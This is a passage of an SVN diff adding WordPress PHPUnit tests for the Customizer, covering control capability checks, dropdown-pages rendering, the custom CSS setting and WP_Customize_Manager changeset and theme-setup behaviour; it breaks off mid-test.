+			'capability' => 'top_secret_clearance',
+		) );
+		$control = new WP_Customize_Control( $this->wp_customize, 'blogname', array(
+			'settings' => array( 'blogname', 'top_secret_clearance' ),
+		) );
+		$this->assertFalse( $control->check_capabilities() );
+
+		$control = new WP_Customize_Control( $this->wp_customize, 'no_setting', array(
+			'settings' => array(),
+		) );
+		$this->assertTrue( $control->check_capabilities() );
+
+		$control = new WP_Customize_Control( $this->wp_customize, 'no_setting', array(
+			'settings' => array(),
+			'capability' => 'top_secret_clearance',
+		) );
+		$this->assertFalse( $control->check_capabilities() );
+
+		$control = new WP_Customize_Control( $this->wp_customize, 'no_setting', array(
+			'settings' => array(),
+			'capability' => 'edit_theme_options',
+		) );
+		$this->assertTrue( $control->check_capabilities() );
+	}
+
+	/**
+	 * @ticket 38164
+	 */
+	function test_dropdown_pages() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$this->assertInstanceOf( 'WP_Customize_Nav_Menus', $this->wp_customize->nav_menus );
+		$nav_menus_created_posts_setting = $this->wp_customize->get_setting( 'nav_menus_created_posts' );
+		$this->assertInstanceOf( 'WP_Customize_Filter_Setting', $nav_menus_created_posts_setting );
+		$page_on_front_control = $this->wp_customize->get_control( 'page_on_front' );
+
+		// Ensure the add-new-toggle is absent if allow_addition param is not set.
+		$page_on_front_control->allow_addition = false;
+		ob_start();
+		$page_on_front_control->maybe_render();
+		$content = ob_get_clean();
+		$this->assertNotContains( 'add-new-toggle', $content );
+
+		// Ensure the add-new-toggle is absent if allow_addition param is set.
+		$page_on_front_control->allow_addition = true;
+		ob_start();
+		$page_on_front_control->maybe_render();
+		$content = ob_get_clean();
+		$this->assertContains( 'add-new-toggle', $content );
+
+		// Ensure that dropdown-pages delect is rendered even if there are no pages published (yet).
+		foreach ( get_pages() as $page ) {
+			wp_delete_post( $page->ID );
+		}
+		$page_on_front_control->allow_addition = true;
+		ob_start();
+		$page_on_front_control->maybe_render();
+		$content = ob_get_clean();
+		$this->assertContains( '<option value="0">', $content, 'Dropdown-pages renders select even without any pages published.' );
+
+		// Ensure that auto-draft pages are included if they are among the nav_menus_created_posts.
+		$auto_draft_page_id = $this->factory()->post->create( array(
+			'post_type' => 'page',
+			'post_status' => 'auto-draft',
+			'post_title' => 'Auto Draft Page',
+		) );
+		$this->factory()->post->create( array(
+			'post_type' => 'page',
+			'post_status' => 'auto-draft',
+			'post_title' => 'Orphan Auto Draft Page',
+		) );
+		$auto_draft_post_id = $this->factory()->post->create( array(
+			'post_type' => 'post',
+			'post_status' => 'auto-draft',
+			'post_title' => 'Auto Draft Post',
+		) );
+		$this->wp_customize->set_post_value( $nav_menus_created_posts_setting->id, array( $auto_draft_page_id, $auto_draft_post_id ) );
+		$nav_menus_created_posts_setting->preview();
+		ob_start();
+		$page_on_front_control->maybe_render();
+		$content = ob_get_clean();
+		$this->assertContains( sprintf( '<option value="%d">Auto Draft Page</option>', $auto_draft_page_id ), $content );
+		$this->assertNotContains( 'Auto Draft Post', $content );
+		$this->assertNotContains( 'Orphan Auto Draft Page', $content );
+	}
+
+	/**
+	 * Tear down.
+	 */
+	function tearDown() {
+		$this->wp_customize = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/custom-css-setting.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/custom-css-setting.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/custom-css-setting.php	(revision 56912)
@@ -0,0 +1,363 @@
+<?php
+/**
+ * Test Test_WP_Customize_Custom_CSS_Setting.
+ *
+ * Tests WP_Customize_Custom_CSS_Setting.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Custom_CSS_Setting extends WP_UnitTestCase {
+
+	/**
+	 * Instance of WP_Customize_Manager which is reset for each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * The Setting instance.
+	 *
+	 * @var WP_Customize_Custom_CSS_Setting
+	 */
+	public $setting;
+
+	/**
+	 * Set up the test case.
+	 *
+	 * @see WP_UnitTestCase::setup()
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+
+		$user_id = self::factory()->user->create( array(
+			'role' => 'administrator',
+		) );
+		if ( is_multisite() ) {
+			grant_super_admin( $user_id );
+		}
+
+		wp_set_current_user( $user_id );
+
+		global $wp_customize;
+		$this->wp_customize = new WP_Customize_Manager();
+		$wp_customize = $this->wp_customize;
+
+		do_action( 'customize_register', $this->wp_customize );
+		$this->setting = new WP_Customize_Custom_CSS_Setting( $this->wp_customize, 'custom_css[' . get_stylesheet() . ']' );
+		$this->wp_customize->add_setting( $this->setting );
+	}
+
+	/**
+	 * Tear down the test case.
+	 */
+	function tearDown() {
+		parent::tearDown();
+		$this->setting = null;
+	}
+
+	/**
+	 * Delete the $wp_customize global when cleaning up scope.
+	 */
+	function clean_up_global_scope() {
+		global $wp_customize;
+		$wp_customize = null;
+		parent::clean_up_global_scope();
+	}
+
+	/**
+	 * Test constructor.
+	 *
+	 * Mainly validates that the correct hooks exist.
+	 *
+	 * Also checks for the post type and the Setting Type.
+	 *
+	 * @covers WP_Customize_Custom_CSS_Setting::__construct()
+	 */
+	function test_construct() {
+		$this->assertTrue( post_type_exists( 'custom_css' ) );
+		$this->assertEquals( 'custom_css', $this->setting->type );
+		$this->assertEquals( get_stylesheet(), $this->setting->stylesheet );
+		$this->assertEquals( 'edit_css', $this->setting->capability );
+
+		$exception = null;
+		try {
+			$x = new WP_Customize_Custom_CSS_Setting( $this->wp_customize, 'bad' );
+			unset( $x );
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'Exception', $exception );
+
+		$exception = null;
+		try {
+			$x = new WP_Customize_Custom_CSS_Setting( $this->wp_customize, 'custom_css' );
+			unset( $x );
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'Exception', $exception );
+	}
+
+	/**
+	 * Test crud methods on WP_Customize_Custom_CSS_Setting.
+	 *
+	 * @covers ::wp_get_custom_css
+	 * @covers WP_Customize_Custom_CSS_Setting::value()
+	 * @covers WP_Customize_Custom_CSS_Setting::preview()
+	 * @covers WP_Customize_Custom_CSS_Setting::update()
+	 */
+	function test_crud() {
+
+		$this->setting->default = '/* Hello World */';
+		$this->assertEquals( $this->setting->default, $this->setting->value() );
+
+		$this->assertNull( wp_get_custom_css_post() );
+		$this->assertNull( wp_get_custom_css_post( $this->setting->stylesheet ) );
+		$this->assertNull( wp_get_custom_css_post( 'twentyten' ) );
+
+		$original_css = 'body { color: black; }';
+		$post_id = $this->factory()->post->create( array(
+			'post_title' => $this->setting->stylesheet,
+			'post_name' => $this->setting->stylesheet,
+			'post_content' => $original_css,
+			'post_status' => 'publish',
+			'post_type' => 'custom_css',
+		) );
+		$twentyten_css = 'body { color: red; }';
+		$twentyten_post_id = $this->factory()->post->create( array(
+			'post_title' => 'twentyten',
+			'post_name' => 'twentyten',
+			'post_content' => $twentyten_css,
+			'post_status' => 'publish',
+			'post_type' => 'custom_css',
+		) );
+		$twentyten_setting = new WP_Customize_Custom_CSS_Setting( $this->wp_customize, 'custom_css[twentyten]' );
+
+		remove_theme_mod( 'custom_css_post_id' );
+
+		$this->assertEquals( $post_id, wp_get_custom_css_post()->ID );
+		$this->assertEquals( $post_id, wp_get_custom_css_post( $this->setting->stylesheet )->ID );
+		$this->assertEquals( $twentyten_post_id, wp_get_custom_css_post( 'twentyten' )->ID );
+
+		$this->assertEquals( $original_css, wp_get_custom_css( $this->setting->stylesheet ) );
+		$this->assertEquals( $original_css, $this->setting->value() );
+		$this->assertEquals( $twentyten_css, wp_get_custom_css( 'twentyten' ) );
+		$this->assertEquals( $twentyten_css, $twentyten_setting->value() );
+
+		$updated_css = 'body { color: blue; }';
+		$this->wp_customize->set_post_value( $this->setting->id, $updated_css );
+		$saved = $this->setting->save();
+
+		$this->assertNotFalse( $saved );
+		$this->assertEquals( $updated_css, $this->setting->value() );
+		$this->assertEquals( $updated_css, wp_get_custom_css( $this->setting->stylesheet ) );
+		$this->assertEquals( $updated_css, get_post( $post_id )->post_content );
+
+		$previewed_css = 'body { color: red; }';
+		$this->wp_customize->set_post_value( $this->setting->id, $previewed_css );
+		$this->setting->preview();
+		$this->assertEquals( $previewed_css, $this->setting->value() );
+		$this->assertEquals( $previewed_css, wp_get_custom_css( $this->setting->stylesheet ) );
+
+		// Make sure that wp_update_custom_css_post() works as expected for updates.
+		$r = wp_update_custom_css_post( 'body { color:red; }', array(
+			'stylesheet' => $this->setting->stylesheet,
+			'preprocessed' => "body\n\tcolor:red;",
+		) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		$this->assertEquals( $post_id, $r->ID );
+		$this->assertEquals( 'body { color:red; }', get_post( $r )->post_content );
+		$this->assertEquals( "body\n\tcolor:red;", get_post( $r )->post_content_filtered );
+		$r = wp_update_custom_css_post( 'body { content: "\o/"; }' );
+		$this->assertEquals( $this->wp_customize->get_stylesheet(), get_post( $r )->post_name );
+		$this->assertEquals( 'body { content: "\o/"; }', get_post( $r )->post_content );
+		$this->assertEquals( '', get_post( $r )->post_content_filtered );
+
+		// Make sure that wp_update_custom_css_post() works as expected for insertion.
+		$r = wp_update_custom_css_post( 'body { background:black; }', array(
+			'stylesheet' => 'other',
+		) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		$this->assertEquals( 'other', get_post( $r )->post_name );
+		$this->assertEquals( 'body { background:black; }', get_post( $r )->post_content );
+		$this->assertEquals( 'publish', get_post( $r )->post_status );
+
+		// Test deletion.
+		wp_delete_post( $post_id );
+		$this->assertNull( wp_get_custom_css_post() );
+		$this->assertNull( wp_get_custom_css_post( get_stylesheet() ) );
+		$this->assertEquals( $previewed_css, wp_get_custom_css( get_stylesheet() ), 'Previewed value remains in spite of deleted post.' );
+		wp_delete_post( $twentyten_post_id );
+		$this->assertNull( wp_get_custom_css_post( 'twentyten' ) );
+		$this->assertEquals( '', wp_get_custom_css( 'twentyten' ) );
+	}
+
+	/**
+	 * Test revision saving on initial save of Custom CSS.
+	 *
+	 * @ticket 39032
+	 */
+	function test_custom_css_revision_saved() {
+		$inserted_css = 'body { background: black; }';
+		$updated_css = 'body { background: red; }';
+
+		$post = wp_update_custom_css_post( $inserted_css, array(
+			'stylesheet' => 'testtheme',
+		) );
+
+		$this->assertSame( $inserted_css, $post->post_content );
+		$revisions = array_values( wp_get_post_revisions( $post ) );
+		$this->assertCount( 1, $revisions );
+		$this->assertSame( $inserted_css, $revisions[0]->post_content );
+
+		wp_update_custom_css_post( $updated_css, array(
+			'stylesheet' => 'testtheme',
+		) );
+
+		$revisions = array_values( wp_get_post_revisions( $post ) );
+		$this->assertCount( 2, $revisions );
+		$this->assertSame( $updated_css, $revisions[0]->post_content );
+		$this->assertSame( $inserted_css, $revisions[1]->post_content );
+	}
+
+	/**
+	 * Test that wp_get_custom_css_post() doesn't query for a post after caching a failed lookup.
+	 *
+	 * @ticket 39259
+	 */
+	function test_get_custom_css_post_queries_after_failed_lookup() {
+		set_theme_mod( 'custom_css_post_id', -1 );
+		$queries_before = get_num_queries();
+		wp_get_custom_css_post();
+		$this->assertSame( get_num_queries(), $queries_before );
+	}
+
+	/**
+	 * Test that wp_update_custom_css_post() updates the 'custom_css_post_id' theme mod.
+	 *
+	 * @ticket 39259
+	 */
+	function test_update_custom_css_updates_theme_mod() {
+		set_theme_mod( 'custom_css_post_id', -1 );
+		$post = wp_update_custom_css_post( 'body { background: blue; }' );
+		$this->assertSame( $post->ID, get_theme_mod( 'custom_css_post_id' ) );
+	}
+
+	/**
+	 * Test crud methods on WP_Customize_Custom_CSS_Setting.
+	 *
+	 * @covers WP_Customize_Custom_CSS_Setting::value()
+	 */
+	function test_value_filter() {
+		add_filter( 'customize_value_custom_css', array( $this, 'filter_value' ), 10, 2 );
+		$this->setting->default = '/*default*/';
+		$this->assertEquals( '/*default*//*filtered*/', $this->setting->value() );
+
+		$this->factory()->post->create( array(
+			'post_title' => $this->setting->stylesheet,
+			'post_name' => $this->setting->stylesheet,
+			'post_content' => '/*custom*/',
+			'post_status' => 'publish',
+			'post_type' => 'custom_css',
+		) );
+		remove_theme_mod( 'custom_css_post_id' );
+		$this->assertEquals( '/*custom*//*filtered*/', $this->setting->value() );
+
+		$this->wp_customize->set_post_value( $this->setting->id, '/*overridden*/' );
+		$this->setting->preview();
+		$this->assertEquals( '/*overridden*/', $this->setting->value(), 'Expected value to not be filtered since post value is present.' );
+	}
+
+	/**
+	 * Filter value.
+	 *
+	 * @param string $value                 Value.
+	 * @param WP_Customize_Setting $setting Setting.
+	 * @return string
+	 */
+	function filter_value( $value, $setting ) {
+		$this->assertInstanceOf( 'WP_Customize_Custom_CSS_Setting', $setting );
+		$value .= '/*filtered*/';
+		return $value;
+	}
+
+	/**
+	 * Test update filter on WP_Customize_Custom_CSS_Setting.
+	 *
+	 * @covers WP_Customize_Custom_CSS_Setting::update()
+	 */
+	function test_update_filter() {
+		$original_css = 'body { color:red; }';
+		$post_id = $this->factory()->post->create( array(
+			'post_title' => $this->setting->stylesheet,
+			'post_name' => $this->setting->stylesheet,
+			'post_content' => $original_css,
+			'post_status' => 'publish',
+			'post_type' => 'custom_css',
+		) );
+
+		$overridden_css = 'body { color:green; }';
+		$this->wp_customize->set_post_value( $this->setting->id, $overridden_css );
+
+		$post = get_post( $post_id );
+		$original_title = $post->post_title;
+
+		add_filter( 'update_custom_css_data', array( $this, 'filter_update_custom_css_data' ), 10, 3 );
+		$this->setting->save();
+
+		$post = get_post( $post_id );
+		$this->assertEquals( $original_title, $post->post_title );
+		$this->assertContains( $overridden_css, $post->post_content );
+		$this->assertContains( '/* filtered post_content */', $post->post_content );
+		$this->assertContains( '/* filtered post_content_filtered */', $post->post_content_filtered );
+	}
+
+	/**
+	 * Filter `customize_update_custom_css_post_content_args`.
+	 *
+	 * @param array  $data Data.
+	 * @param string $args Args.
+	 * @return array Data.
+	 */
+	function filter_update_custom_css_data( $data, $args ) {
+		$this->assertInternalType( 'array', $data );
+		$this->assertEqualSets( array( 'css', 'preprocessed' ), array_keys( $data ) );
+		$this->assertEquals( '', $data['preprocessed'] );
+		$this->assertInternalType( 'array', $args );
+		$this->assertEqualSets( array( 'css', 'preprocessed', 'stylesheet' ), array_keys( $args ) );
+		$this->assertEquals( $args['css'], $data['css'] );
+		$this->assertEquals( $args['preprocessed'], $data['preprocessed'] );
+
+		$data['css'] .= '/* filtered post_content */';
+		$data['preprocessed'] = '/* filtered post_content_filtered */';
+		$data['post_title'] = 'Ignored';
+		return $data;
+	}
+
+	/**
+	 * Tests that validation errors are caught appropriately.
+	 *
+	 * Note that the $validity \WP_Error object must be reset each time
+	 * as it picks up the Errors and passes them to the next assertion.
+	 *
+	 * @covers WP_Customize_Custom_CSS_Setting::validate()
+	 */
+	function test_validate() {
+
+		// Empty CSS throws no errors.
+		$result = $this->setting->validate( '' );
+		$this->assertTrue( $result );
+
+		// Basic, valid CSS throws no errors.
+		$basic_css = 'body { background: #f00; } h1.site-title { font-size: 36px; } a:hover { text-decoration: none; } input[type="text"] { padding: 1em; }';
+		$result = $this->setting->validate( $basic_css );
+		$this->assertTrue( $result );
+
+		// Check for markup.
+		$unclosed_comment = $basic_css . '</style>';
+		$result = $this->setting->validate( $unclosed_comment );
+		$this->assertTrue( array_key_exists( 'illegal_markup', $result->errors ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/manager.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/manager.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/manager.php	(revision 56912)
@@ -0,0 +1,3316 @@
+<?php
+/**
+ * WP_Customize_Manager tests.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tests for the WP_Customize_Manager class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Manager extends WP_UnitTestCase {
+
+	/**
+	 * Customize manager instance re-instantiated with each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Symbol.
+	 *
+	 * @var stdClass
+	 */
+	public $undefined;
+
+	/**
+	 * Admin user ID.
+	 *
+	 * @var int
+	 */
+	protected static $admin_user_id;
+
+	/**
+	 * Subscriber user ID.
+	 *
+	 * @var int
+	 */
+	protected static $subscriber_user_id;
+
+	/**
+	 * Set up before class.
+	 *
+	 * @param WP_UnitTest_Factory $factory Factory.
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$subscriber_user_id = $factory->user->create( array( 'role' => 'subscriber' ) );
+		self::$admin_user_id = $factory->user->create( array( 'role' => 'administrator' ) );
+	}
+
+	/**
+	 * Set up test.
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		$this->manager = $this->instantiate();
+		$this->undefined = new stdClass();
+
+		$orig_file = DIR_TESTDATA . '/images/canola.jpg';
+		$this->test_file = '/tmp/canola.jpg';
+		copy( $orig_file, $this->test_file );
+		$orig_file2 = DIR_TESTDATA . '/images/waffles.jpg';
+		$this->test_file2 = '/tmp/waffles.jpg';
+		copy( $orig_file2, $this->test_file2 );
+	}
+
+	/**
+	 * Tear down test.
+	 */
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		$_REQUEST = array();
+		parent::tearDown();
+	}
+
+	/**
+	 * Get a core theme that is not the same as the current theme.
+	 *
+	 * @throws Exception If an inactive core Twenty* theme cannot be found.
+	 * @return string Theme slug (stylesheet).
+	 */
+	function get_inactive_core_theme() {
+		$stylesheet = get_stylesheet();
+		foreach ( wp_get_themes() as $theme ) {
+			if ( $theme->stylesheet !== $stylesheet && 0 === strpos( $theme->stylesheet, 'twenty' ) ) {
+				return $theme->stylesheet;
+			}
+		}
+		throw new Exception( 'Unable to find inactive twenty* theme.' );
+	}
+
+	/**
+	 * Instantiate class, set global $wp_customize, and return instance.
+	 *
+	 * @return WP_Customize_Manager
+	 */
+	function instantiate() {
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		return $GLOBALS['wp_customize'];
+	}
+
+	/**
+	 * Test WP_Customize_Manager::__construct().
+	 *
+	 * @covers WP_Customize_Manager::__construct()
+	 */
+	function test_constructor() {
+		$uuid = wp_generate_uuid4();
+		$theme = 'twentyfifteen';
+		$messenger_channel = 'preview-123';
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'theme' => $theme,
+			'messenger_channel' => $messenger_channel,
+		) );
+		$this->assertEquals( $uuid, $wp_customize->changeset_uuid() );
+		$this->assertEquals( $theme, $wp_customize->get_stylesheet() );
+		$this->assertEquals( $messenger_channel, $wp_customize->get_messenger_channel() );
+		$this->assertFalse( $wp_customize->autosaved() );
+		$this->assertTrue( $wp_customize->branching() );
+
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => null,
+		) );
+		$this->assertTrue( wp_is_uuid( $wp_customize->changeset_uuid(), 4 ) );
+
+		$theme = 'twentyfourteen';
+		$messenger_channel = 'preview-456';
+		$_REQUEST['theme'] = $theme;
+		$_REQUEST['customize_messenger_channel'] = $messenger_channel;
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		$this->assertEquals( $theme, $wp_customize->get_stylesheet() );
+		$this->assertEquals( $messenger_channel, $wp_customize->get_messenger_channel() );
+
+		$theme = 'twentyfourteen';
+		$_REQUEST['customize_theme'] = $theme;
+		$wp_customize = new WP_Customize_Manager();
+		$this->assertEquals( $theme, $wp_customize->get_stylesheet() );
+		$this->assertTrue( wp_is_uuid( $wp_customize->changeset_uuid(), 4 ) );
+	}
+
+	/**
+	 * Test constructor when deferring UUID.
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::establish_loaded_changeset()
+	 * @covers WP_Customize_Manager::__construct()
+	 */
+	public function test_constructor_deferred_changeset_uuid() {
+		wp_set_current_user( self::$admin_user_id );
+		$other_admin_user_id = $this->factory()->user->create( array( 'role' => 'admin' ) );
+
+		$data = array(
+			'blogname' => array(
+				'value' => 'Test',
+			),
+		);
+
+		$uuid1 = wp_generate_uuid4();
+		$this->factory()->post->create( array(
+			'post_type' => 'customize_changeset',
+			'post_name' => $uuid1,
+			'post_status' => 'draft',
+			'post_content' => wp_json_encode( $data ),
+			'post_author' => get_current_user_id(),
+			'post_date_gmt' => gmdate( 'Y-m-d H:i:s', strtotime( '-2 days' ) ),
+		) );
+
+		/*
+		 * Create a changeset for another user that is newer to ensure that it is the one that gets returned,
+		 * as in non-branching mode there should only be one pending changeset at a time.
+		 */
+		$uuid2 = wp_generate_uuid4();
+		$post_id = $this->factory()->post->create( array(
+			'post_type' => 'customize_changeset',
+			'post_name' => $uuid2,
+			'post_status' => 'draft',
+			'post_content' => wp_json_encode( $data ),
+			'post_author' => $other_admin_user_id,
+			'post_date_gmt' => gmdate( 'Y-m-d H:i:s', strtotime( '-1 day' ) ),
+		) );
+
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => false, // Cause UUID to be deferred.
+			'branching' => false, // To cause drafted changeset to be autoloaded.
+		) );
+		$this->assertEquals( $uuid2, $wp_customize->changeset_uuid() );
+		$this->assertEquals( $post_id, $wp_customize->changeset_post_id() );
+
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => false, // Cause UUID to be deferred.
+			'branching' => true, // To cause no drafted changeset to be autoloaded.
+		) );
+		$this->assertNotContains( $wp_customize->changeset_uuid(), array( $uuid1, $uuid2 ) );
+		$this->assertEmpty( $wp_customize->changeset_post_id() );
+
+		// Make sure existing changeset is not autoloaded in the case of previewing a theme switch.
+		switch_theme( 'twentyseventeen' );
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => false, // Cause UUID to be deferred.
+			'branching' => false,
+			'theme' => 'twentyfifteen',
+		) );
+		$this->assertEmpty( $wp_customize->changeset_post_id() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::setup_theme() for admin screen.
+	 *
+	 * @covers WP_Customize_Manager::setup_theme()
+	 */
+	function test_setup_theme_in_customize_admin() {
+		global $pagenow, $wp_customize;
+		$pagenow = 'customize.php';
+		set_current_screen( 'customize' );
+
+		// Unauthorized.
+		$exception = null;
+		$wp_customize = new WP_Customize_Manager();
+		wp_set_current_user( self::$subscriber_user_id );
+		try {
+			$wp_customize->setup_theme();
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'WPDieException', $exception );
+		$this->assertContains( 'you are not allowed to customize this site', $exception->getMessage() );
+
+		// Bad changeset.
+		$exception = null;
+		wp_set_current_user( self::$admin_user_id );
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => 'bad' ) );
+		try {
+			$wp_customize->setup_theme();
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'WPDieException', $exception );
+		$this->assertContains( 'Invalid changeset UUID', $exception->getMessage() );
+
+		update_option( 'fresh_site', '0' );
+		$wp_customize = new WP_Customize_Manager();
+		$wp_customize->setup_theme();
+		$this->assertFalse( has_action( 'after_setup_theme', array( $wp_customize, 'import_theme_starter_content' ) ) );
+
+		// Make sure that starter content import gets queued on a fresh site.
+		update_option( 'fresh_site', '1' );
+		$wp_customize->setup_theme();
+		$this->assertEquals( 100, has_action( 'after_setup_theme', array( $wp_customize, 'import_theme_starter_content' ) ) );
+	}
+
+	/**
+	 * Test that clearing a fresh site is a no-op if the site is already fresh.
+	 *
+	 * @see _delete_option_fresh_site()
+	 * @ticket 41039
+	 */
+	function test_fresh_site_flag_clearing() {
+		global $wp_customize, $wpdb;
+
+		// Make sure fresh site flag is cleared when publishing a changeset.
+		update_option( 'fresh_site', '1' );
+		do_action( 'customize_save_after', $wp_customize );
+		$this->assertEquals( '0', get_option( 'fresh_site' ) );
+
+		// Simulate a new, uncached request.
+		wp_cache_delete( 'alloptions', 'options' );
+		wp_load_alloptions();
+
+		// Make sure no DB write is done when publishing and a site is already non-fresh.
+		$query_count = $wpdb->num_queries;
+		do_action( 'customize_save_after', $wp_customize );
+		$this->assertSame( $query_count, $wpdb->num_queries );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::setup_theme() for frontend.
+	 *
+	 * @covers WP_Customize_Manager::setup_theme()
+	 */
+	function test_setup_theme_in_frontend() {
+		global $wp_customize, $pagenow, $show_admin_bar;
+		$pagenow = 'front';
+		set_current_screen( 'front' );
+
+		wp_set_current_user( 0 );
+		$exception = null;
+		$wp_customize = new WP_Customize_Manager();
+		wp_set_current_user( self::$subscriber_user_id );
+		try {
+			$wp_customize->setup_theme();
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'WPDieException', $exception );
+		$this->assertContains( 'Non-existent changeset UUID', $exception->getMessage() );
+
+		wp_set_current_user( self::$admin_user_id );
+		$wp_customize = new WP_Customize_Manager( array( 'messenger_channel' => 'preview-1' ) );
+		$wp_customize->setup_theme();
+		$this->assertFalse( $show_admin_bar );
+
+		show_admin_bar( true );
+		wp_set_current_user( self::$admin_user_id );
+		$wp_customize = new WP_Customize_Manager( array( 'messenger_channel' => null ) );
+		$wp_customize->setup_theme();
+		$this->assertTrue( $show_admin_bar );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::settings_previewed().
+	 *
+	 * @ticket 39221
+	 * @covers WP_Customize_Manager::settings_previewed()
+	 */
+	function test_settings_previewed() {
+		$wp_customize = new WP_Customize_Manager( array( 'settings_previewed' => false ) );
+		$this->assertSame( false, $wp_customize->settings_previewed() );
+
+		$wp_customize = new WP_Customize_Manager();
+		$this->assertSame( true, $wp_customize->settings_previewed() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::autosaved().
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::autosaved()
+	 */
+	public function test_autosaved() {
+		$wp_customize = new WP_Customize_Manager();
+		$this->assertFalse( $wp_customize->autosaved() );
+
+		$wp_customize = new WP_Customize_Manager( array( 'autosaved' => false ) );
+		$this->assertFalse( $wp_customize->autosaved() );
+
+		$wp_customize = new WP_Customize_Manager( array( 'autosaved' => true ) );
+		$this->assertTrue( $wp_customize->autosaved() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::branching().
+	 *
+	 * @ticket 39896
+	 * @covers WP_Customize_Manager::branching()
+	 */
+	public function test_branching() {
+		$wp_customize = new WP_Customize_Manager();
+		$this->assertTrue( $wp_customize->branching(), 'Branching should default to true since it is original behavior in 4.7.' );
+
+		$wp_customize = new WP_Customize_Manager( array( 'branching' => false ) );
+		$this->assertFalse( $wp_customize->branching() );
+		add_filter( 'customize_changeset_branching', '__return_true' );
+		$this->assertTrue( $wp_customize->branching() );
+		remove_filter( 'customize_changeset_branching', '__return_true' );
+
+		$wp_customize = new WP_Customize_Manager( array( 'branching' => true ) );
+		$this->assertTrue( $wp_customize->branching() );
+		add_filter( 'customize_changeset_branching', '__return_false' );
+		$this->assertFalse( $wp_customize->branching() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::changeset_uuid().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::changeset_uuid()
+	 */
+	function test_changeset_uuid() {
+		$uuid = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		$this->assertEquals( $uuid, $wp_customize->changeset_uuid() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::wp_loaded().
+	 *
+	 * Ensure that post values are previewed even without being in preview.
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::wp_loaded()
+	 */
+	function test_wp_loaded() {
+		wp_set_current_user( self::$admin_user_id );
+		$wp_customize = new WP_Customize_Manager();
+		$title = 'Hello World';
+		$wp_customize->set_post_value( 'blogname', $title );
+		$this->assertNotEquals( $title, get_option( 'blogname' ) );
+		$wp_customize->wp_loaded();
+		$this->assertFalse( $wp_customize->is_preview() );
+		$this->assertEquals( $title, $wp_customize->get_setting( 'blogname' )->value() );
+		$this->assertEquals( $title, get_option( 'blogname' ) );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::find_changeset_post_id().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::find_changeset_post_id()
+	 */
+	function test_find_changeset_post_id() {
+		$uuid = wp_generate_uuid4();
+		$post_id = $this->factory()->post->create( array(
+			'post_name' => $uuid,
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
+			'post_content' => '{}',
+		) );
+
+		$wp_customize = new WP_Customize_Manager();
+		$this->assertNull( $wp_customize->find_changeset_post_id( wp_generate_uuid4() ) );
+		$this->assertEquals( $post_id, $wp_customize->find_changeset_post_id( $uuid ) );
+
+		// Verify that the found post ID was cached under the given UUID, not the manager's UUID.
+		$this->assertNotEquals( $post_id, $wp_customize->find_changeset_post_id( $wp_customize->changeset_uuid() ) );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::changeset_post_id().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::changeset_post_id()
+	 */
+	function test_changeset_post_id() {
+		$uuid = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		$this->assertNull( $wp_customize->changeset_post_id() );
+
+		$uuid = wp_generate_uuid4();
+		$wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $uuid ) );
+		$post_id = $this->factory()->post->create( array(
+			'post_name' => $uuid,
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
+			'post_content' => '{}',
+		) );
